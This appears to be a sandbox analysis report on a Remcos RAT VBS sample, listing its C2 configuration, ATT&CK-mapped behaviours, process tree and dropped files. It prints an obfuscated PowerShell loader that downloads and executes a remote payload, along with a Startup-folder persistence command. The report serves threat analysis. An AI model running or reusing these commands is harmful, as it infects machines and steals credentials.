remcos | de7a6bf628cdb1265197ea78967808850230114acb014cd0a39aa36adf2832f7

General

Target

c1d6fcea01ed82777e63ebc9e6f085ce.vbs
Size

2KB
MD5

c1d6fcea01ed82777e63ebc9e6f085ce
SHA1

5497cee7b0f9b4f7f81491779e88edd83f167a15
SHA256

de7a6bf628cdb1265197ea78967808850230114acb014cd0a39aa36adf2832f7
SHA512

d1ea396de7dc2204733d113e2fed0d89b93c61cf7165ff9798a858712a81c4d9ad6a78eb0f75271f9df9e590d85c9e328ee9ce1348d01c66e0a446cda8d07611

Score

10^/10

remcos augb22 collection rat spyware stealer

Malware Config

Extracted

Family

remcos

Botnet

AUGB22

C2

saptransmissions.dvrlists.com:55026

Attributes

audio_folder
MicRecords
audio_path
%AppData%
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
install_path
%AppData%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
AUGB22
keylog_path
%AppData%
mouse_option
false
mutex
AUGB22-JJZGN0
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5
take_screenshot_title
wikipedia;solitaire;

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

Processes:

resource	yara_rule
behavioral2/memory/2312-154-0x0000000000400000-0x0000000000457000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 2 IoCs

Password recovery tool for various web browsers

Processes:

resource	yara_rule
behavioral2/memory/1396-157-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView
behavioral2/memory/1396-158-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 4 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2312-154-0x0000000000400000-0x0000000000457000-memory.dmp	Nirsoft
behavioral2/memory/4912-155-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/1396-157-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/1396-158-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

39 4076 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation WScript.exe
Loads dropped DLL 1 IoCs

Processes:

powershell.exe

pid process

4076 powershell.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

flow	pid	process
39	4076	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	WScript.exe

pid	process
4076	powershell.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	RegAsm.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

powershell.exeRegAsm.exe

description	pid	process	target process
PID 4076 set thread context of 2440	4076	powershell.exe	RegAsm.exe
PID 2440 set thread context of 1396	2440	RegAsm.exe	RegAsm.exe
PID 2440 set thread context of 2312	2440	RegAsm.exe	RegAsm.exe
PID 2440 set thread context of 4912	2440	RegAsm.exe	RegAsm.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 30 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1842955675"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 4025487278c4d801	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30983288"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{9925D19F-306B-11ED-AECB-E62BBF623C53} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000883ed98174fc174d8e18111dae0d912000000000020000000000106600000001000020000000a784ca814cdbbe32cae92db35c599a7bec015357b70c4e737ab44dad8eadf511000000000e8000000002000020000000ebf69d7209ff746c22121661dac9e2d4cd2c3b3e2511397ccf3ea03c97be6c6d20000000feb88c071d198c4ec1fee226306836bba64abf255a3435ce14227de5650220b34000000066cbcb9b213bff29ca33764e97750cd83696f65e0bfb7cf17dac31aabba37152cef19dc674e7f05d441229f746474de8ba3ec7f29f6d8342e213338da91ee925	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 00825d7278c4d801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30983288"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000883ed98174fc174d8e18111dae0d912000000000020000000000106600000001000020000000cb1fb750e4cbbd5cabe2ff30d5a83b8d5baad72e1d59710e15d460e39287794d000000000e80000000020000200000006e4ccb5a6b424a83f60483a0c04b0caf7d0eec68f142358acb9f4eed6d0aa328200000002f037d4008cfab15ed6bffd75caa83843ddf7f1d53efcbae530e31f7a7c40158400000008e16a68c3b15d723bf6074bc2e88983d488fba3e755daf3a9b46adc19182373fcbe854d848fe270acfbd6c20b64ee8b79d5a46422edbbeca8a7da85ee5d76aad	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "1842955675"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exeRegAsm.exe

pid process

4076 powershell.exe
848 powershell.exe
848 powershell.exe
4076 powershell.exe
1396 RegAsm.exe
1396 RegAsm.exe
1396 RegAsm.exe
1396 RegAsm.exe
Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

RegAsm.exe

pid process

2440 RegAsm.exe
2440 RegAsm.exe
2440 RegAsm.exe
2440 RegAsm.exe
Suspicious behavior: RenamesItself 1 IoCs

Processes:

powershell.exe

pid process

848 powershell.exe

pid	process
4076	powershell.exe
848	powershell.exe
848	powershell.exe
4076	powershell.exe
1396	RegAsm.exe
1396	RegAsm.exe
1396	RegAsm.exe
1396	RegAsm.exe

pid	process
2440	RegAsm.exe
2440	RegAsm.exe
2440	RegAsm.exe
2440	RegAsm.exe

pid	process
848	powershell.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4076	powershell.exe
Token: SeDebugPrivilege	848	powershell.exe
Token: SeIncreaseQuotaPrivilege	4076	powershell.exe
Token: SeSecurityPrivilege	4076	powershell.exe
Token: SeTakeOwnershipPrivilege	4076	powershell.exe
Token: SeLoadDriverPrivilege	4076	powershell.exe
Token: SeSystemProfilePrivilege	4076	powershell.exe
Token: SeSystemtimePrivilege	4076	powershell.exe
Token: SeProfSingleProcessPrivilege	4076	powershell.exe
Token: SeIncBasePriorityPrivilege	4076	powershell.exe
Token: SeCreatePagefilePrivilege	4076	powershell.exe
Token: SeBackupPrivilege	4076	powershell.exe
Token: SeRestorePrivilege	4076	powershell.exe
Token: SeShutdownPrivilege	4076	powershell.exe
Token: SeDebugPrivilege	4076	powershell.exe
Token: SeSystemEnvironmentPrivilege	4076	powershell.exe
Token: SeRemoteShutdownPrivilege	4076	powershell.exe
Token: SeUndockPrivilege	4076	powershell.exe
Token: SeManageVolumePrivilege	4076	powershell.exe
Token: 33	4076	powershell.exe
Token: 34	4076	powershell.exe
Token: 35	4076	powershell.exe
Token: 36	4076	powershell.exe
Token: SeIncreaseQuotaPrivilege	4076	powershell.exe
Token: SeSecurityPrivilege	4076	powershell.exe
Token: SeTakeOwnershipPrivilege	4076	powershell.exe
Token: SeLoadDriverPrivilege	4076	powershell.exe
Token: SeSystemProfilePrivilege	4076	powershell.exe
Token: SeSystemtimePrivilege	4076	powershell.exe
Token: SeProfSingleProcessPrivilege	4076	powershell.exe
Token: SeIncBasePriorityPrivilege	4076	powershell.exe
Token: SeCreatePagefilePrivilege	4076	powershell.exe
Token: SeBackupPrivilege	4076	powershell.exe
Token: SeRestorePrivilege	4076	powershell.exe
Token: SeShutdownPrivilege	4076	powershell.exe
Token: SeDebugPrivilege	4076	powershell.exe
Token: SeSystemEnvironmentPrivilege	4076	powershell.exe
Token: SeRemoteShutdownPrivilege	4076	powershell.exe
Token: SeUndockPrivilege	4076	powershell.exe
Token: SeManageVolumePrivilege	4076	powershell.exe
Token: 33	4076	powershell.exe
Token: 34	4076	powershell.exe
Token: 35	4076	powershell.exe
Token: 36	4076	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

4228 iexplore.exe
Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

iexplore.exeIEXPLORE.EXERegAsm.exe

pid process

4228 iexplore.exe
4228 iexplore.exe
1988 IEXPLORE.EXE
1988 IEXPLORE.EXE
2440 RegAsm.exe

pid	process
4228	iexplore.exe

pid	process
4228	iexplore.exe
4228	iexplore.exe
1988	IEXPLORE.EXE
1988	IEXPLORE.EXE
2440	RegAsm.exe

Suspicious use of WriteProcessMemory 34 IoCs

Processes:

iexplore.exeWScript.exepowershell.exeRegAsm.exe

description	pid	process	target process
PID 4228 wrote to memory of 1988	4228	iexplore.exe	IEXPLORE.EXE
PID 4228 wrote to memory of 1988	4228	iexplore.exe	IEXPLORE.EXE
PID 4228 wrote to memory of 1988	4228	iexplore.exe	IEXPLORE.EXE
PID 1588 wrote to memory of 4076	1588	WScript.exe	powershell.exe
PID 1588 wrote to memory of 4076	1588	WScript.exe	powershell.exe
PID 1588 wrote to memory of 848	1588	WScript.exe	powershell.exe
PID 1588 wrote to memory of 848	1588	WScript.exe	powershell.exe
PID 4076 wrote to memory of 2440	4076	powershell.exe	RegAsm.exe
PID 4076 wrote to memory of 2440	4076	powershell.exe	RegAsm.exe
PID 4076 wrote to memory of 2440	4076	powershell.exe	RegAsm.exe
PID 4076 wrote to memory of 2440	4076	powershell.exe	RegAsm.exe
PID 4076 wrote to memory of 2440	4076	powershell.exe	RegAsm.exe
PID 4076 wrote to memory of 2440	4076	powershell.exe	RegAsm.exe
PID 4076 wrote to memory of 2440	4076	powershell.exe	RegAsm.exe
PID 4076 wrote to memory of 2440	4076	powershell.exe	RegAsm.exe
PID 4076 wrote to memory of 2440	4076	powershell.exe	RegAsm.exe
PID 4076 wrote to memory of 2440	4076	powershell.exe	RegAsm.exe
PID 4076 wrote to memory of 2440	4076	powershell.exe	RegAsm.exe
PID 4076 wrote to memory of 2440	4076	powershell.exe	RegAsm.exe
PID 2440 wrote to memory of 1396	2440	RegAsm.exe	RegAsm.exe
PID 2440 wrote to memory of 1396	2440	RegAsm.exe	RegAsm.exe
PID 2440 wrote to memory of 1396	2440	RegAsm.exe	RegAsm.exe
PID 2440 wrote to memory of 1396	2440	RegAsm.exe	RegAsm.exe
PID 2440 wrote to memory of 2312	2440	RegAsm.exe	RegAsm.exe
PID 2440 wrote to memory of 2312	2440	RegAsm.exe	RegAsm.exe
PID 2440 wrote to memory of 2312	2440	RegAsm.exe	RegAsm.exe
PID 2440 wrote to memory of 2312	2440	RegAsm.exe	RegAsm.exe
PID 2440 wrote to memory of 4108	2440	RegAsm.exe	RegAsm.exe
PID 2440 wrote to memory of 4108	2440	RegAsm.exe	RegAsm.exe
PID 2440 wrote to memory of 4108	2440	RegAsm.exe	RegAsm.exe
PID 2440 wrote to memory of 4912	2440	RegAsm.exe	RegAsm.exe
PID 2440 wrote to memory of 4912	2440	RegAsm.exe	RegAsm.exe
PID 2440 wrote to memory of 4912	2440	RegAsm.exe	RegAsm.exe
PID 2440 wrote to memory of 4912	2440	RegAsm.exe	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c1d6fcea01ed82777e63ebc9e6f085ce.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1588

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,01100101,01100110,01100101,01110010,01100101,01101110,01100011,01100101,00100000,00111101,00100000,00100111,01010011,01101001,01101100,01100101,01101110,01110100,01101100,01111001,01000011,01101111,01101110,01110100,01101001,01101110,01110101,01100101,00100111,00111011,00100100,01110100,00110101,00110110,01100110,01100111,00100000,00111101,00100000,01011011,01000101,01101110,01110101,01101101,01011101,00111010,00111010,01010100,01101111,01001111,01100010,01101010,01100101,01100011,01110100,00101000,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,01010100,01111001,01110000,01100101,01011101,00101100,00100000,00110011,00110000,00110111,00110010,00101001,00111011,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01110010,01110110,01101001,01100011,01100101,01010000,01101111,01101001,01101110,01110100,01001101,01100001,01101110,01100001,01100111,01100101,01110010,01011101,00111010,00111010,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,00100000,00111101,00100000,00100100,01110100,00110101,00110110,01100110,01100111,00111011,01000001,01100100,01100100,00101101,01010100,01111001,01110000,01100101,00100000,00101101,01000001,01110011,01110011,01100101,01101101,01100010,01101100,01111001,01001110,01100001,01101101,01100101,00100000,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00111011,01100100,01101111,00100000,01111011,00100100,01110000,01101001,01101110,01100111,00100000,00111101,00100000,01110100,01100101,01110011,01110100,00101101,01100011,01101111,01101110,01101110,01100101,01100011,01110100,01101001,01101111,01101110,00100000,00101101,01100011,01101111,01101101,01110000,00100000,01100111,01101111,01101111,01100111,01101100,01100101,00101110,01100011,01101111,01101101,00100000,00101101,01100011,01101111,01110101,01101110,01110100,00100000,00110001,00100000,00101101,01010001,01110101,01101001,01100101,01110100,01111101,00100000,01110101,01101110,01110100,01101001,01101100,00100000,00101000,00100100,01110000,01101001,01101110,01100111,00101001,00111011,00100100,01110100,01110100,01111001,00111101,01010000,00101000,00100111,00101000,01001110,01100101,01110111,00101101,00100111,00101011,00100111,01001111,01100010,01101010,01100101,00100111,00101011,00100111,01100011,01110100,00100000,01001110,01100101,00100111,00101011,00100111,01110100,00101110,01010111,01100101,00100111,00101011,00100111,01100010,01000011,01101100,01101001,00100111,00101011,00100111,01100101,01101110,01110100,00101001,00100111,00101001,00111011,00100100,01101101,01110110,00111101,00100000,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01001001,01101110,01110100,01100101,01110010,01100001,01100011,01110100,01101001,01101111,01101110,01011101,00111010,00111010,01000011,01100001,01101100,01101100,01000010,01111001,01101110,01100001,01101101,01100101,00101000,00100100,01110100,01110100,01111001,00101100,00100111,01000100,01101111,01110111,01101110,00100111,00100000,00101011,00100000,00100111,01101100,01101111,01100001,01100100,00100111,00100000,00101011,00100000,00100111,01010011,01110100,01110010,00100111,00100000,00101011,00100000,00100111,01101001,01101110,01100111,00100111,00101100,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01000011,01100001,01101100,01101100,01010100,01111001,01110000,01100101,01011101,00111010,00111010,01001101,01100101,01110100,01101000,01101111,01100100,00101100,00100111,01101000,01110100,01110100,01110000,00100111,00100000,00101011,00100000,00100111,00111010,00101111,00101111,00110001,00111001,00110010,00101110,00110010,00110001,00110000,00101110,00110010,00110100,00110000,00101110,00110001,00110000,00110001,00101111,01010110,01101001,01110011,01100001,00101111,01010000,01100001,01111001,01100001,01100010,01101100,01100101,01110011,00101110,01101010,01110000,01100111,00100111,00101001,01111100,01010000) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };$o00='I' + 'EX';sal P $o00;([system.String]::Join('', $gf))|P
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4076

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2440

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\rtzapf"
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:1396

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\cvfsqyntq"
4⤵
- Accesses Microsoft Outlook accounts
PID:2312

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\eqkdrqynmpmt"
4⤵
PID:4108

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\eqkdrqynmpmt"
4⤵
PID:4912

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Move-item 'C:\Users\Admin\AppData\Local\Temp\c1d6fcea01ed82777e63ebc9e6f085ce.vbs' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c1d6fcea01ed82777e63ebc9e6f085ce.vbs'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
PID:848

C:\Program Files (x86)\Internet Explorer\ielowutil.exe
"C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding
1⤵
PID:4804

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4228

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4228 CREDAT:17410 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1988

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Email Collection

1

T1114

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\z2evvp3\imagestore.dat
Filesize
30KB

MD5
83c5fef64ce2d8c0357e0c82b90074ab

SHA1
2ec4ae628038493658f272c3224c864a6069769a

SHA256
86e2d9c27cfd153c08a7288281ba3b034c5c4af9d2b3426731185c920455d881

SHA512
c79df0506bfccaadf5cb46d5c02282ca5626277a65cc8350a668e9b00e344c92d13fa84408bbc7671405231aa6924621c9cccdc02a065dab458fb5cfd4ed1528

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
2f1c34f5acc6c714151a2bb2b5c2a1e8

SHA1
b2b0978b44677380316be13b726bdd37b3e37a68

SHA256
c64007357c908e2f0a576c5e4150936773615ddfed17e51cf94d136ad01bf12f

SHA512
460c0518ce31f12294094b8f576f6bdb8405c0e1ca567cae78fb378cb41ba5e142917d89162316bf5546611f6d9deb916fc74c656656023c16367ec93bfc34d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\2101ac6b-6b9b-440a-8e07-e6cc53c9bc33\AgileDotNetRT64.dll
Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
C:\Users\Admin\AppData\Local\Temp\rtzapf
Filesize
4KB

MD5
d06ebab8b0513f602e535079a9ebbeea

SHA1
d29472e6eb5a72f0353d70b97a33337b255b487e

SHA256
0c9e16830ccc6495def187adde2137ac07a566e1534e5714f626dcd68d28094c

SHA512
002df6f401950fd24d5976a47c58e9e2c58cef7d4fdec69f815fb6a00fb1e1a8963a4a7bf52056e61d6f6875edec393c466742c3031dd5f88802b45ddadca209

Download Submit
memory/848-138-0x00007FFDE31F0000-0x00007FFDE3CB1000-memory.dmp

Filesize
10.8MB

Download
memory/848-137-0x00007FFDE31F0000-0x00007FFDE3CB1000-memory.dmp

Filesize
10.8MB

Download
memory/848-133-0x0000000000000000-mapping.dmp

Download
memory/848-134-0x00000115BF130000-0x00000115BF152000-memory.dmp

Filesize
136KB

Download
memory/1396-157-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1396-158-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1396-150-0x0000000000000000-mapping.dmp

Download
memory/2312-154-0x0000000000400000-0x0000000000457000-memory.dmp

Filesize
348KB

Download
memory/2312-151-0x0000000000000000-mapping.dmp

Download
memory/2440-141-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2440-148-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2440-146-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2440-145-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2440-142-0x00000000004327A4-mapping.dmp

Download
memory/2440-156-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4076-136-0x00007FFDE31F0000-0x00007FFDE3CB1000-memory.dmp

Filesize
10.8MB

Download
memory/4076-149-0x00007FFDE31F0000-0x00007FFDE3CB1000-memory.dmp

Filesize
10.8MB

Download
memory/4076-132-0x0000000000000000-mapping.dmp

Download
memory/4076-140-0x00007FFDDE0C0000-0x00007FFDDE20E000-memory.dmp

Filesize
1.3MB

Download
memory/4108-152-0x0000000000000000-mapping.dmp

Download
memory/4912-153-0x0000000000000000-mapping.dmp

Download
memory/4912-155-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads